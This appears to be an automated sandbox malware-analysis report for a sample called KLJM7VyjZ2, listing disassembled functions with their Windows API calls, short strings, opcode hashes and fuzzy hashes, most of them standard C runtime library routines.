String ID:
API String ID: 1279760036-0
Opcode ID: 6257d7c2ee276c5d0fd134f5db4d8c55f501502e1b82d9c04a80d06860ad0d6c
Instruction ID: 22d6ab2b832de0dfcd510d20163fad0d2021c2b6b939ea67dc75f0dc9f7ae72e
Opcode Fuzzy Hash: 6257d7c2ee276c5d0fd134f5db4d8c55f501502e1b82d9c04a80d06860ad0d6c
Instruction Fuzzy Hash: E2E06571640235A7E6212766AE00BDB3748DB413B4F150133EC85E62D1DBEDDCD281ED

Uniqueness

Uniqueness Score: -1.00%

Function 01D2042D Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 01D2047E

Memory Dump Source

Source File: 00000000.00000002.1829489628.0000000001D1F000.00000040.00000020.00020000.00000000.sdmp, Offset: 01D1F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d1f000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 56943be7d1c16da0589800be71b3b7ccc6aecd11a3f0797336cc06cecd08d40f
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: DD112B79A00208EFDB01DF98C985E98BBF5EF08351F058094F9589B361D375EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00418FEE Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 004190FA
IsValidCodePage.KERNEL32(00000000), ref: 00419143
IsValidLocale.KERNEL32(?,00000001), ref: 00419152
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0041919A
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 004191B9

Strings

8B, xrefs: 004190A7

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: 8B
API String ID: 949163717-3070534924
Opcode ID: 347e3f9ff2deed443eb1ecf01b137901ee2e304a6c5880c1051b3628cfa29939
Instruction ID: f2ea0b11808f5ad6da1d466408d0e99a338890fa69785c6e259117abf3424843
Opcode Fuzzy Hash: 347e3f9ff2deed443eb1ecf01b137901ee2e304a6c5880c1051b3628cfa29939
Instruction Fuzzy Hash: 5551A571A00219AFEB10DFA5CC55AFF77B8BF48700F18442AE904E7291DB789D80CB69

Uniqueness

Uniqueness Score: -1.00%

Function 01CB4977 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 01CB4B10
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 01CB4CD1

Strings

(zB, xrefs: 01CB4C69
`yB, xrefs: 01CB4CC7
`a}{, xrefs: 01CB4ABA

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Init_thread_footerIos_base_dtorstd::ios_base::_
String ID: (zB$`a}{$`yB
API String ID: 3517786926-4178271309
Opcode ID: f3ef3f50cdcfa2438331feb99c9e6777feef7e2781c33b74aaaf7cd849e23be0
Instruction ID: a89722d9b38a7d36e2912afc7343d689c6fefcaf1f9856a1b6a3a2f5a5a7eaef
Opcode Fuzzy Hash: f3ef3f50cdcfa2438331feb99c9e6777feef7e2781c33b74aaaf7cd849e23be0
Instruction Fuzzy Hash: 8FE1C071A04245CBDB18CF68C8C5BEDBBB1FF59300F1482A8D846A7791D771EA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01CC9080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,01CC939E,00000002,00000000,?,?,?,01CC939E,?,00000000), ref: 01CC9119
GetLocaleInfoW.KERNEL32(00000000,20001004,01CC939E,00000002,00000000,?,?,?,01CC939E,?,00000000), ref: 01CC9142
GetACP.KERNEL32(?,?,01CC939E,?,00000000), ref: 01CC9157

Strings

OCP, xrefs: 01CC90D4
ACP, xrefs: 01CC909E

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction ID: dd04bce5cf70c920fc6f7474fcc4f3c40a5564172f0d87a38882925a2bacdc31
Opcode Fuzzy Hash: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction Fuzzy Hash: D9218672B00101E6EB35CF99C906A9777A6EB88F68F46846CEA0AD7215E732DF41C350

Uniqueness

Uniqueness Score: -1.00%

Function 00418E19 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00419137,00000002,00000000,?,?,?,00419137,?,00000000), ref: 00418EB2
GetLocaleInfoW.KERNEL32(00000000,20001004,00419137,00000002,00000000,?,?,?,00419137,?,00000000), ref: 00418EDB
GetACP.KERNEL32(?,?,00419137,?,00000000), ref: 00418EF0

Strings

OCP, xrefs: 00418E6D
ACP, xrefs: 00418E37

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction ID: ccd849e587f1a62e46e2c36e5e07e6a308489abd5d5b75d3c9eba274a3507da2
Opcode Fuzzy Hash: fa171ee74b4b881c976e0d11b77e9c3ec81e479d149dad4955c2640258b5475e
Instruction Fuzzy Hash: 49216072B00301EADB348F64C941AD773A6EB54B64B56842EE90AD7211EF3ADDC1C758

Uniqueness

Uniqueness Score: -1.00%

Function 01CC9255 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01CC0FA7: GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
Part of subcall function 01CC0FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

Part of subcall function 01CC0FA7: _free.LIBCMT ref: 01CC1009
Part of subcall function 01CC0FA7: _free.LIBCMT ref: 01CC103F

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 01CC9361
IsValidCodePage.KERNEL32(00000000), ref: 01CC93AA
IsValidLocale.KERNEL32(?,00000001), ref: 01CC93B9
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 01CC9401
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 01CC9420

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: df7259d446a3af6e3576c934006f0cb77cadfdf5846bd1cc64a285e1449cbbda
Instruction ID: d490f5513fd66587e8d99e3deda43a7b3fc8b663c132744beb42f02c3d3f4bcb
Opcode Fuzzy Hash: df7259d446a3af6e3576c934006f0cb77cadfdf5846bd1cc64a285e1449cbbda
Instruction Fuzzy Hash: E6516071A00216EBEF10DFA9CC44AAE77B8BF58F04F08442DE955E7190E770DE449B60

Uniqueness

Uniqueness Score: -1.00%

Function 01CB88DC Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 01CB88E8
IsDebuggerPresent.KERNEL32 ref: 01CB89B4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 01CB89D4
UnhandledExceptionFilter.KERNEL32(?), ref: 01CB89DE

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction ID: 3e8e121a7cc4238ebba08ec326664c3472a23658863ee5ca8a0568e0db18d4cb
Opcode Fuzzy Hash: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction Fuzzy Hash: 33313AB5D05219DBDF20DF64D9897CCBBB8AF08304F1041AAE409A7250EB719B85CF09

Uniqueness

Uniqueness Score: -1.00%

Function 00408675 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00408681
IsDebuggerPresent.KERNEL32 ref: 0040874D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040876D
UnhandledExceptionFilter.KERNEL32(?), ref: 00408777

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction ID: e5ef794af57fc705f8d7f6759feeae2191713bbad705ce5cabcbc102cb35c609
Opcode Fuzzy Hash: e2c689d7d454bb3c956595545ad9b1c7413774fb7f427a7e40763cd45346718b
Instruction Fuzzy Hash: 6D313AB5D0521CDBDB10DF61D9897CDBBB8BF08304F1040AAE449A7290EB755A858F09

Uniqueness

Uniqueness Score: -1.00%

Function 01CC8D07 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 01CC0FA7: GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
Part of subcall function 01CC0FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

Part of subcall function 01CC0FA7: _free.LIBCMT ref: 01CC1009
Part of subcall function 01CC0FA7: _free.LIBCMT ref: 01CC103F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 01CC8D5B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 01CC8DA5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 01CC8E6B

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 4d324a8d221e2db5cd00d45a2086900a0be2c9c4073d16e4d4d15737deefaec0
Instruction ID: 9850e93e2cab207eba41bbe84360aea417fe4295c68ee337d17e71f6d52dea39
Opcode Fuzzy Hash: 4d324a8d221e2db5cd00d45a2086900a0be2c9c4073d16e4d4d15737deefaec0
Instruction Fuzzy Hash: 0F61A071610217DBEB299F28CD81BAB77A9EF04B40F1040BEEA05C6685E738DE81DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00418AA0 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418AF4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418B3E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418C04

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 7a0103c3606fc1b1cf257e1aebf6673b563413e6e1f34c107648093f688563aa
Instruction ID: 62e4f11421f62e9a021dd1c2b3578532f2af4b42d9ef0fa46f200eb611ea5353
Opcode Fuzzy Hash: 7a0103c3606fc1b1cf257e1aebf6673b563413e6e1f34c107648093f688563aa
Instruction Fuzzy Hash: B1616D7190160A9BDB249F24CD82BEB77A8EB44304F14416FED05C6685FB38E9C1DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 01CBC3E2 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 01CBC4DA
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 01CBC4E4
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 01CBC4F1

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d3ce0527382caf87a4183dbc95e1f4699e67cea7b1975356a88f3a13daa3af49
Instruction ID: ececa6864328f9e40a6bc8604e4a0626d7dbf8d41af64bef0926e6521b43cff2
Opcode Fuzzy Hash: d3ce0527382caf87a4183dbc95e1f4699e67cea7b1975356a88f3a13daa3af49
Instruction Fuzzy Hash: 6431C4B4901229EBCB21DF68D8887DDBBB8BF18310F5041EAE40DE7250E7749B859F49

Uniqueness

Uniqueness Score: -1.00%

Function 0040C17B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0040C273
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040C27D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0040C28A

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a5f54cfeaeccfd4bf6f99a4a380b47e36f71b40a132b6e028f20ecdba15165bb
Instruction ID: a6faa4bbbb88fb92f52c0fa55cdc40f7aa00e4f6132fc0460b89e5881ce57408
Opcode Fuzzy Hash: a5f54cfeaeccfd4bf6f99a4a380b47e36f71b40a132b6e028f20ecdba15165bb
Instruction Fuzzy Hash: 8031D4B4D012289BCB21DF65D8897CDBBB4BF08714F5042EAE40CA7291E7349F858F49

Uniqueness

Uniqueness Score: -1.00%

Function 01CBC8E8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,01CBC8E7,00000000,?,?,00000000,?,01CC1257), ref: 01CBC90A
TerminateProcess.KERNEL32(00000000,?,01CBC8E7,00000000,?,?,00000000,?,01CC1257), ref: 01CBC911
ExitProcess.KERNEL32 ref: 01CBC923

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction ID: fcd6cb3a61286c624bfcfee57d2b5d62bb2103eefe10bf671cb802c0b6eccd24
Opcode Fuzzy Hash: 4074258ae3e92e5929474cff9357cd5b9568f201180147c8900c034a5ce98615
Instruction Fuzzy Hash: 81E0B671840189FFDF126B68DC49A983F69FB44695F048428F949CA532DB39DE82DB88

Uniqueness

Uniqueness Score: -1.00%

Function 01CB092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 01CB095F
l, xrefs: 01CB0966
GetProcAddress., xrefs: 01CB09DC, 01CB09DF, 01CB09E4

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 7b8ab32b355665e7160bc51c39154813f5c01a66f1ef08456ab6ccc986bcf118
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: B93148B6900619DFEB10CF99C880AEEBBF9FF48324F14414AE841E7251D771EA55CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040CA21 Relevance: 3.0, APIs: 2, Instructions: 34timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0040CA34
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040CA65

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 402b09224e765d9c673da96c5e2a658b9df076d986dd95d77c69bcc386cff3ad
Instruction ID: 0e7b9b1a7ad9db58c854e3c05b3852f61de941fb3dcead200a35e6012f668bef
Opcode Fuzzy Hash: 402b09224e765d9c673da96c5e2a658b9df076d986dd95d77c69bcc386cff3ad
Instruction Fuzzy Hash: 32F0F630A10208FBDB04DF64CC85BAD7AA8FB40329F20876AA502E22C0D6789A008B59

Uniqueness

Uniqueness Score: -1.00%

Function 01CC36CB Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,01CC36C6,?,?,?,?,?,?,00000000), ref: 01CC38F8

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction ID: 21799ab17b5feab5c6988593ac8d73bbe348aca7b830a7953b401f6d89521be7
Opcode Fuzzy Hash: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction Fuzzy Hash: 6DB16B35610688CFE715CF2CD48AAA57BA0FF05764F15D65CE99ACF2A1C335EA82CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00413464 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,0041345F,?,?,?,?,?,?,00000000), ref: 00413691

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction ID: 6ec3c976dce2682dd88875b4e128dc3c32af3424619db8197fd5d39c2f428c0e
Opcode Fuzzy Hash: f2a6d8770a078741a44d128e082ae11581cee39de0dadfcc6d3b67b2601d1eba
Instruction Fuzzy Hash: 05B16E71210604DFD715CF28C48ABA57BE1FF05365F258659E8AACF3A1C339EA82CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00408873 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00408889

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 04d4c15717e0eb0a9da5fd3b40b00c7a7a9904e6caa8d1284099983198fdd583
Instruction ID: bc312be223815807eab5e56163a5e2c6ed615bce974a54a63d32a9d4517a2c7b
Opcode Fuzzy Hash: 04d4c15717e0eb0a9da5fd3b40b00c7a7a9904e6caa8d1284099983198fdd583
Instruction Fuzzy Hash: C45169B1A01306CBDB28CF55D981BAABBF0FB48354F24843ED851EB390D7789941CB59

Uniqueness

Uniqueness Score: -1.00%

Function 01CC8F5A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 01CC0FA7: GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
Part of subcall function 01CC0FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

Part of subcall function 01CC0FA7: _free.LIBCMT ref: 01CC1009
Part of subcall function 01CC0FA7: _free.LIBCMT ref: 01CC103F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 01CC8FAE

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 5bc436174cc0e3a881d60d03eb371d5cf67ba4087f83f3c4aef7badf7c865cd7
Instruction ID: aa557721af1a8a3eb1da182a7b4dc1bbc137822bfe487f6150300509db8e480d
Opcode Fuzzy Hash: 5bc436174cc0e3a881d60d03eb371d5cf67ba4087f83f3c4aef7badf7c865cd7
Instruction Fuzzy Hash: 4721B072610207EBDB289F29DC41ABA77A8EF48B14F00007EEE06C6141EB34EE45A754

Uniqueness

Uniqueness Score: -1.00%

Function 00418CF3 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

Part of subcall function 00410D40: _free.LIBCMT ref: 00410DA2
Part of subcall function 00410D40: _free.LIBCMT ref: 00410DD8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00418D47

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 4a26e9cc83b0c5b7c0cae7737812cc2a61a03380ce254b0199f7d4368ed217dd
Instruction ID: ce22171d55e0af017fb17ca71511384353f174c05c1c03d6f451f39d0992cc54
Opcode Fuzzy Hash: 4a26e9cc83b0c5b7c0cae7737812cc2a61a03380ce254b0199f7d4368ed217dd
Instruction Fuzzy Hash: 80218372610206ABDB289F25EC41AFB77A8EF54314F10007FFD05D6281EF78ED818659

Uniqueness

Uniqueness Score: -1.00%

Function 01CC8BE1 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01CC0FA7: GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
Part of subcall function 01CC0FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

EnumSystemLocalesW.KERNEL32(00418AA0,00000001,00000000,?,-00000050,?,01CC9335,00000000,?,?,?,00000055,?), ref: 01CC8C53

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction ID: d0eb9d893c69bb22cf20b4f414487deb8f30ce420fcb1069e0ba4cbd63eb9af6
Opcode Fuzzy Hash: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
Instruction Fuzzy Hash: B611E53B200705DFDB189F39C8916BBB792FF84769B14442DE98687A40D771B942C740

Uniqueness

Uniqueness Score: -1.00%

Function 0041897A Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

EnumSystemLocalesW.KERNEL32(00418AA0,00000001,00000000,?,-00000050,?,004190CE,00000000,?,?,?,00000055,?), ref: 004189EC

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8c5b926c13eeb8bfac8504b2cec0fc6efa59ba92f1058d0844c2318c24ddd873
